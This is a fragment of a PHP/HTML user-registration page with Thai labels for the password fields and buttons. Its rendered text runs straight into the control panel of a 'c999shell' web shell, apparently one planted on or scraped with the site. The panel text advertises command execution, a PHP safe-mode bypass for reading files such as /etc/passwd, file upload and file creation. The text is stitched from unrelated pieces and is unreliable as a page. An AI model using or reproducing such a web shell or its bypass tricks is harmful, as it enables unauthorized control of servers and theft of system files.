                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><input name="Password" type="password" class="input" id="Password"  size="15" onkeypress="return NumAndCharOnly(event)"/>
                  <font color="#FF0000" face="Tahoma">รหัสผ่านอย่างน้อย 6 ตัวอักขระ</font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ยืนยันรหัสผ่าน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
                <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><input name="Password1" type="password" class="input " id="Password1"  size="15" onkeypress="return NumAndCharOnly(event)"/></td>
              </tr>
              <tr bgcolor="#CFE0F5">
                <td height="20" colspan="3" bgcolor="#FFFFFF"><div align="center">
                  <span id="submitBtn"><input type="submit" name="Submit" value=" บันทึกข้อมูล" disabled/></span>
                  &nbsp;
                  <input type="reset" name="Reset" value=" เคลียร์ข้อมูล" />
                </div></td>
              </tr>
            </table>
            </td>
          </tr>
          </table>
        </form></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0208 ]--